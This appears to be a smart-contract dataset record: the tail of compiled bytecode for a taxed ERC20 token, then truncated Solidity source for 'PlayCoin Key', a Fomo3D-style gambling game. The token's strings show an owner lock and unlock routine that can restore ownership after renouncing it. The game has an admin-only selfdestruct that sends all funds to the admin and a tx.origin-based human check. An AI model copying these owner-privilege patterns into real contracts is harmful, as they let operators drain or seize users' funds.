01600160a01b03811660009081526007602052604090205460ff16610e515760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610961565b60005b600854811015610d7f57816001600160a01b031660088281548110610e7b57610e7b612ef7565b6000918252602090912001546001600160a01b03161415610f605760088054610ea690600190612f0d565b81548110610eb657610eb6612ef7565b600091825260209091200154600880546001600160a01b039092169183908110610ee257610ee2612ef7565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600482526040808220829055600790925220805460ff191690556008805480610f3a57610f3a612f24565b600082815260209020810160001990810180546001600160a01b03191690550190555050565b80610f6a81612f3a565b915050610e54565b3360008181526005602090815260408083206001600160a01b03871684529091528120549091610a2a918590610b189086612049565b3360008181526007602052604090205460ff161561101d5760405162461bcd60e51b815260206004820152602c60248201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460448201526b3434b990333ab731ba34b7b760a11b6064820152608401610961565b6000611028836120a8565b505050506001600160a01b038416600090815260036020526040902054919250611054919050826120f7565b6001600160a01b038316600090815260036020526040902055600c5461107a90826120f7565b600c55600d5461108a9084612049565b600d55505050565b6000546001600160a01b031633146110bc5760405162461bcd60e51b815260040161096190612e1c565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6000600b548311156111345760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c79006044820152606401610961565b81611153576000611144846120a8565b50939550610a2e945050505050565b600061115e846120a8565b50929550610a2e945050505050565b6000546001600160a01b031633146111975760405162461bcd60e51b815260040161096190612e1c565b6302faf08081101561121d5760405162461bcd60e51b815260206004820152604360248201527f506c6561736520636865636b20746865206d617877616c6c657420616d6f756e60448201527f742c2073686f756c642065786365656420302e3525206f662074686520737570606482015262706c7960e81b608482015260a401610961565b61122b81633b9aca00612ea2565b601e5550565b6000546001600160a01b0316331461125b5760405162461bcd60e51b815260040161096190612e1c565b6001600160a01b03811660009081526007602052604090205460ff16156112c45760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610961565b6001600160a01b0381166000908152600360205260409020541561131e576001600160a01b03811660009081526003602052604090205461130490610bf7565b6001600160a01b0382166000908152600460205260409020555b6001600160a01b03166000818152600760205260408120805460ff191660019081179091556008805491820181559091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319169091179055565b6000546001600160a01b031633146113ae5760405162461bcd60e51b815260040161096190612e1c565b600a805461ff001916610100179055600e80546001600160a01b039092166001600160a01b0319909216919091179055565b6000546001600160a01b0316331461140a5760405162461bcd60e51b815260040161096190612e1c565b6302faf08081101561148e5760405162461bcd60e51b815260206004820152604160248201527f506c6561736520636865636b204d61787478416d6f756e7420616d6f756e742c60448201527f2073686f756c642065786365656420302e3525206f662074686520737570706c6064820152607960f81b608482015260a401610961565b61149c81633b9aca00612ea2565b601d5550565b6000546001600160a01b031633146114cc5760405162461bcd60e51b815260040161096190612e1c565b60066114d88386612f55565b11156115265760405162461bcd60e51b815260206004820152601860248201527f627579207461782063616e6e6f742065786365656420352500000000000000006044820152606401610961565b60066115328285612f55565b11156115805760405162461bcd60e51b815260206004820152601960248201527f73656c6c207461782063616e6e6f7420657863656564203525000000000000006044820152606401610961565b601384905560148390556017829055601881905561159e8285612f55565b601a556018546014546115b19190612f55565b601b5550505050565b6001600160a01b03811660009081526007602052604081205460ff16156115f757506001600160a01b031660009081526004602052604090205490565b6001600160a01b038216600090815260036020526040902054610a2e90610bf7565b6000546001600160a01b031633146116435760405162461bcd60e51b815260040161096190612e1c565b600080546040516001600160a01b0390911690600080516020613046833981519152908390a3600080546001600160a01b0319169055565b60606010805461099a90612e51565b6000610a2a3384610b1885604051806060016040528060258152602001613066602591393360009081526005602090815260408083206001600160a01b038d1684529091529020549190611faa565b6001546001600160a01b0316331461173f5760405162461bcd60e51b815260206004820152602360248201527f596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6044820152626f636b60e81b6064820152608401610961565b60025442116117905760405162461bcd60e51b815260206004820152601f60248201527f436f6e7472616374206973206c6f636b656420756e74696c20372064617973006044820152606401610961565b600154600080546040516001600160a01b03938416939091169160008051602061304683398151915291a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b6000610a2a338484611b3a565b6000546001600160a01b031633146118165760405162461bcd60e51b815260040161096190612e1c565b601c8054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061186390831515815260200190565b60405180910390a150565b6000546001600160a01b031633146118985760405162461bcd60e51b815260040161096190612e1c565b60008054600180546001600160a01b03199081166001600160a01b038416179091551690556118c78142612f55565b600255600080546040516001600160a01b0390911690600080516020613046833981519152908390a350565b6000546001600160a01b0316331461191d5760405162461bcd60e51b815260040161096190612e1c565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146119685760405162461bcd60e51b815260040161096190612e1c565b6001600160a01b0381166119cd5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610961565b600080546040516001600160a01b038085169392169160008051602061304683398151915291a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316611a785760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610961565b6001600160a01b038216611ad95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610961565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316611b9e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610961565b6001600160a01b038216611c005760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610961565b60008111611c625760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610961565b6000546001600160a01b03848116911614801590611c8e57506000546001600160a01b03838116911614155b15611cf657601d54811115611cf65760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610961565b7f0000000000000000000000002e4e335b27b6934a27449da2385cfbe2f044f7e36001600160a01b0316836001600160a01b0316148015611d455750601c546001600160a01b03838116911614155b15611da257601e5481611d57846115ba565b611d619190612f55565b1115611da25760405162461bcd60e51b815260206004820152601060248201526f18da1958dac81b585e081dd85b1b195d60821b6044820152606401610961565b6000611dad306115ba565b9050601d548110611dbd5750601d545b601f5481108015908190611ddb5750601c54600160a01b900460ff16155b8015611e1957507f0000000000000000000000002e4e335b27b6934a27449da2385cfbe2f044f7e36001600160a01b0316856001600160a01b031614155b8015611e2e5750601c54600160a81b900460ff165b15611e4157601f549150611e4182612139565b7f0000000000000000000000002e4e335b27b6934a27449da2385cfbe2f044f7e36001600160a01b0316856001600160a01b0316148015611eb457507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316846001600160a01b031614155b15611ec6576013546012556017546016555b7f0000000000000000000000002e4e335b27b6934a27449da2385cfbe2f044f7e36001600160a01b0316846001600160a01b0316148015611f3957507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316856001600160a01b031614155b15611f4b576014546012556018546016555b6001600160a01b03851660009081526006602052604090205460019060ff1680611f8d57506001600160a01b03851660009081526006602052604090205460ff165b15611f96575060005b611fa2868686846121f1565b505050505050565b60008184841115611fce5760405162461bcd60e51b81526004016109619190612c86565b506000611fdb8486612f0d565b95945050505050565b6000806000611ff161242d565b90925090506120008282612007565b9250505090565b6000610c7483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506125af565b6000806120568385612f55565b905083811015610c745760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610961565b60008060008060008060008060006120bf8a6125dd565b92509250925060008060006120dd8d86866120d8611fe4565b61261f565b919f909e50909c50959a5093985091965092945050505050565b6000610c7483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611faa565b601c805460ff60a01b1916600160a01b179055476121568261266f565b600061216247836120f7565b600e546040519192506001600160a01b03169082156108fc029083906000818181858888f1935050505015801561219d573d6000803e3d6000fd5b5060408051848152602081018390529081018490527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619060600160405180910390a15050601c805460ff60a01b1916905550565b600a54610100900460ff1661221a576000546001600160a01b0385811691161461221a57600080fd5b6001600160a01b03841660009081526009602052604090205460ff168061225957506001600160a01b03831660009081526009602052604090205460ff165b156122b057600a5460ff166122b05760405162461bcd60e51b815260206004820152601b60248201527f626f7473206172656e7420616c6c6f77656420746f20747261646500000000006044820152606401610961565b806122bd576122bd612836565b6001600160a01b03841660009081526007602052604090205460ff1680156122fe57506001600160a01b03831660009081526007602052604090205460ff16155b156123135761230e848484612864565b612411565b6001600160a01b03841660009081526007602052604090205460ff1615801561235457506001600160a01b03831660009081526007602052604090205460ff165b156123645761230e84848461298a565b6001600160a01b03841660009081526007602052604090205460ff161580156123a657506001600160a01b03831660009081526007602052604090205460ff16155b156123b65761230e848484612a33565b6001600160a01b03841660009081526007602052604090205460ff1680156123f657506001600160a01b03831660009081526007602052604090205460ff165b156124065761230e848484612a77565b612411848484612a33565b8061242757612427601554601255601954601655565b50505050565b600c54600b546000918291825b60085481101561257f5782600360006008848154811061245c5761245c612ef7565b60009182526020808320909101546001600160a01b0316835282019290925260400190205411806124c757508160046000600884815481106124a0576124a0612ef7565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b156124dd57600c54600b54945094505050509091565b61252360036000600884815481106124f7576124f7612ef7565b60009182526020808320909101546001600160a01b0316835282019290925260400190205484906120f7565b925061256b600460006008848154811061253f5761253f612ef7565b60009182526020808320909101546001600160a01b0316835282019290925260400190205483906120f7565b91508061257781612f3a565b91505061243a565b50600b54600c5461258f91612007565b8210156125a657600c54600b549350935050509091565b90939092509050565b600081836125d05760405162461bcd60e51b81526004016109619190612c86565b506000611fdb8486612f6d565b6000806000806125ec85612aea565b905060006125f986612b0c565b905060006126118261260b89866120f7565b906120f7565b979296509094509092505050565b600080808061262e8886612b28565b9050600061263c8887612b28565b9050600061264a8888612b28565b9050600061265c8261260b86866120f7565b939b939a50919850919650505050505050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106126a4576126a4612ef7565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561271d57600080fd5b505afa158015612731573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127559190612f8f565b8160018151811061276857612768612ef7565b60200260200101906001600160a01b031690816001600160a01b0316815250506127b3307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611a16565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790612808908590600090869030904290600401612fac565b600060405180830381600087803b15801561282257600080fd5b505af1158015611fa2573d6000803e3d6000fd5b6012541580156128465750601654155b1561284d57565b601280546015556016805460195560009182905555565b600080600080600080612876876120a8565b6001600160a01b038f16600090815260046020526040902054959b509399509197509550935091506128a890886120f7565b6001600160a01b038a166000908152600460209081526040808320939093556003905220546128d790876120f7565b6001600160a01b03808b1660009081526003602052604080822093909355908a16815220546129069086612049565b6001600160a01b03891660009081526003602052604090205561292881612ba7565b6129328483612c30565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161297791815260200190565b60405180910390a3505050505050505050565b60008060008060008061299c876120a8565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506129ce90876120f7565b6001600160a01b03808b16600090815260036020908152604080832094909455918b16815260049091522054612a049084612049565b6001600160a01b0389166000908152600460209081526040808320939093556003905220546129069086612049565b600080600080600080612a45876120a8565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506128d790876120f7565b600080600080600080612a89876120a8565b6001600160a01b038f16600090815260046020526040902054959b50939950919750955093509150612abb90886120f7565b6001600160a01b038a166000908152600460209081526040808320939093556003905220546129ce90876120f7565b6000610a2e6064612b0660125485612b2890919063ffffffff16565b90612007565b6000610a2e6064612b0660165485612b2890919063ffffffff16565b600082612b3757506000610a2e565b6000612b438385612ea2565b905082612b508583612f6d565b14610c745760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610961565b6000612bb1611fe4565b90506000612bbf8383612b28565b30600090815260036020526040902054909150612bdc9082612049565b3060009081526003602090815260408083209390935560079052205460ff1615612c2b5730600090815260046020526040902054612c1a9084612049565b306000908152600460205260409020555b505050565b600c54612c3d90836120f7565b600c55600d54612c4d9082612049565b600d555050565b6001600160a01b0381168114610dbc57600080fd5b600060208284031215612c7b57600080fd5b8135610c7481612c54565b600060208083528351808285015260005b81811015612cb357858101830151858201604001528201612c97565b81811115612cc5576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215612cee57600080fd5b8235612cf981612c54565b946020939093013593505050565b600060208284031215612d1957600080fd5b5035919050565b600080600060608486031215612d3557600080fd5b8335612d4081612c54565b92506020840135612d5081612c54565b929592945050506040919091013590565b8015158114610dbc57600080fd5b60008060408385031215612d8257600080fd5b823591506020830135612d9481612d61565b809150509250929050565b60008060008060808587031215612db557600080fd5b5050823594602084013594506040840135936060013592509050565b600060208284031215612de357600080fd5b8135610c7481612d61565b60008060408385031215612e0157600080fd5b8235612e0c81612c54565b91506020830135612d9481612c54565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c90821680612e6557607f821691505b60208210811415612e8657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615612ebc57612ebc612e8c565b500290565b600060208284031215612ed357600080fd5b5051919050565b600060208284031215612eec57600080fd5b8151610c7481612d61565b634e487b7160e01b600052603260045260246000fd5b600082821015612f1f57612f1f612e8c565b500390565b634e487b7160e01b600052603160045260246000fd5b6000600019821415612f4e57612f4e612e8c565b5060010190565b60008219821115612f6857612f68612e8c565b500190565b600082612f8a57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215612fa157600080fd5b8151610c7481612c54565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015612ffc5784516001600160a01b031683529383019391830191600101612fd7565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63658be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e045524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122026cb922dbf7abd42dea1455c3e163cdcee19133d88b240de8cb7e4e6788d64d664736f6c63430008090033
[ 13, 16, 11 ]
0xf2E91dA601F08833a11f93f95Def1a3ACaE697FB
pragma solidity ^0.4.24; //============================================================================== // _ _ _ _|_ _ . // (/_\/(/_| | | _\ . //============================================================================== contract PCKevents { // fired whenever a player registers a name event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); // fired at end of buy or reload event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 PCPAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); // fired whenever theres a withdraw event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); // fired whenever a withdraw forces end round to be ran event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 PCPAmount, uint256 genAmount ); // (fomo3d long only) fired whenever a player tries a buy after round timer // hit zero, and causes end round to be ran. event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 PCPAmount, uint256 genAmount ); // (fomo3d long only) fired whenever a player tries a reload after round timer // hit zero, and causes end round to be ran. event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 PCPAmount, uint256 genAmount ); // fired whenever an affiliate is paid event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); // received pot swap deposit event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } //============================================================================== // _ _ _ _|_ _ _ __|_ _ _ _|_ _ . // (_(_)| | | | (_|(_ | _\(/_ | |_||_) . //====================================|========================================= contract modularKey is PCKevents {} contract PlayCoinKey is modularKey { using SafeMath for *; using NameFilter for string; using PCKKeysCalcLong for uint256; otherPCK private otherPCK_; PlayCoinGodInterface constant private PCGod = PlayCoinGodInterface(0x6f93Be8fD47EBb62F54ebd149B58658bf9BaCF4f); ProForwarderInterface constant private Pro_Inc = ProForwarderInterface(0x97354A7281693b7C93f6348Ba4eC38B9DDd76D6e); PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x47D1c777f1853cac97E6b81226B1F5108FBD7B81); //============================================================================== // _ _ _ |`. _ _ _ |_ | _ _ . // (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings) //=================_|=========================================================== string constant public name = "PlayCoin Key"; string constant public symbol = "PCK"; uint256 private rndExtra_ = 15 minutes; // length of the very first ICO uint256 private rndGap_ = 15 minutes; // length of ICO phase, set to 1 year for EOS. uint256 constant private rndInit_ = 12 hours; // round timer starts at this uint256 constant private rndInc_ = 30 seconds; // every full key purchased adds this much to the timer uint256 constant private rndMax_ = 6 hours; // max length a round timer can be uint256 constant private rndMin_ = 10 minutes; uint256 public rndReduceThreshold_ = 10e18; // 10ETH,reduce bool public closed_ = false; // admin is publish contract address private admin = msg.sender; //============================================================================== // _| _ _|_ _ _ _ _|_ _ . // (_|(_| | (_| _\(/_ | |_||_) . (data used to store game info that changes) //=============================|================================================ uint256 public airDropPot_; // person who gets the airdrop wins part of this pot uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop uint256 public rID_; // round id number / total rounds that have happened //**************** // PLAYER DATA //**************** mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name mapping (uint256 => PCKdatasets.Player) public plyr_; // (pID => data) player data mapping (uint256 => mapping (uint256 => PCKdatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own) //**************** // ROUND DATA //**************** mapping (uint256 => PCKdatasets.Round) public round_; // (rID => data) round data mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id //**************** // TEAM FEE DATA //**************** mapping (uint256 => PCKdatasets.TeamFee) public fees_; // (team => fees) fee distribution by team mapping (uint256 => PCKdatasets.PotSplit) public potSplit_; // (team => fees) pot split distribution by team //============================================================================== // _ _ _ __|_ _ __|_ _ _ . // (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy) //============================================================================== constructor() public { // Team allocation structures // 0 = whales // 1 = bears // 2 = sneks // 3 = bulls // Team allocation percentages // (PCK, PCP) + (Pot , Referrals, Community) // Referrals / Community rewards are mathematically designed to come from the winner's share of the pot. fees_[0] = PCKdatasets.TeamFee(30,6); //50% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot fees_[1] = PCKdatasets.TeamFee(43,0); //43% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot fees_[2] = PCKdatasets.TeamFee(56,10); //20% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot fees_[3] = PCKdatasets.TeamFee(43,8); //35% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot // how to split up the final pot based on which team was picked // (PCK, PCP) potSplit_[0] = PCKdatasets.PotSplit(15,10); //48% to winner, 25% to next round, 2% to com potSplit_[1] = PCKdatasets.PotSplit(25,0); //48% to winner, 25% to next round, 2% to com potSplit_[2] = PCKdatasets.PotSplit(20,20); //48% to winner, 10% to next round, 2% to com potSplit_[3] = PCKdatasets.PotSplit(30,10); //48% to winner, 10% to next round, 2% to com } //============================================================================== // _ _ _ _|. |`. _ _ _ . // | | |(_)(_||~|~|(/_| _\ . (these are safety checks) //============================================================================== /** * @dev used to make sure no one can interact with contract until it has * been activated. */ modifier isActivated() { require(activated_ == true, "its not ready yet. check ?eta in discord"); _; } modifier isRoundActivated() { require(round_[rID_].ended == false, "the round is finished"); _; } /** * @dev prevents contracts from interacting with fomo3d */ modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; require(msg.sender == tx.origin, "sorry humans only"); _; } /** * @dev sets boundaries for incoming tx */ modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } modifier onlyAdmins() { require(msg.sender == admin, "onlyAdmins failed - msg.sender is not an admin"); _; } //============================================================================== // _ |_ |. _ |` _ __|_. _ _ _ . // |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract) //====|========================================================================= function kill () onlyAdmins() public { require(round_[rID_].ended == true && closed_ == true, "the round is active or not close"); selfdestruct(admin); } function getRoundStatus() isActivated() public view returns(uint256, bool){ return (rID_, round_[rID_].ended); } function setThreshold(uint256 _threshold) onlyAdmins() public returns(uint256) { rndReduceThreshold_ = _threshold; return rndReduceThreshold_; } function setEnforce(bool _closed) onlyAdmins() public returns(bool) { closed_ = _closed; if( !closed_ && round_[rID_].ended == true && activated_ == true ){ nextRound(); } return closed_; } /** * @dev emergency buy uses last stored affiliate ID and team snek */ function() isActivated() isRoundActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not PCKdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // buy core buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } /** * @dev converts all incoming ethereum to keys. * -functionhash- 0x8f38f309 (using ID for affiliate) * -functionhash- 0x98a0871d (using address for affiliate) * -functionhash- 0xa65b37a1 (using name for affiliate) * @param _affCode the ID/address/name of the player who gets the affiliate fee * @param _team what team is the player playing for? */ function buyXid(uint256 _affCode, uint256 _team) isActivated() isRoundActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not PCKdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isRoundActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not PCKdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isRoundActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not PCKdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affID, _team, _eventData_); } /** * @dev essentially the same as buy, but instead of you sending ether * from your wallet, it uses your unwithdrawn earnings. * -functionhash- 0x349cdcac (using ID for affiliate) * -functionhash- 0x82bfc739 (using address for affiliate) * -functionhash- 0x079ce327 (using name for affiliate) * @param _affCode the ID/address/name of the player who gets the affiliate fee * @param _team what team is the player playing for? * @param _eth amount of earnings to use (remainder returned to gen vault) */ function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isRoundActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data PCKdatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isRoundActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data PCKdatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isRoundActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data PCKdatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affID, _team, _eth, _eventData_); } /** * @dev withdraws all of your earnings. * -functionhash- 0x3ccfd60b */ function withdraw() isActivated() isHuman() public { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // setup temp var for player eth uint256 _eth; // check to see if round has ended and no one has run round end yet if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // set up our tx event data PCKdatasets.EventReturns memory _eventData_; // end the round (distributes pot) round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire withdraw and distribute event emit PCKevents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.PCPAmount, _eventData_.genAmount ); // in any other situation } else { // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); // fire withdraw event emit PCKevents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } /** * @dev use these to register names. they are just wrappers that will send the * registration requests to the PlayerBook contract. So registering here is the * same as registering there. UI will always display the last name you registered. * but you will still own all previously registered names to use as affiliate * links. * - must pay a registration fee. * - name must be unique * - names will be converted to lowercase * - name cannot start or end with a space * - cannot have more than 1 space in a row * - cannot be only numbers * - cannot start with 0x * - name must 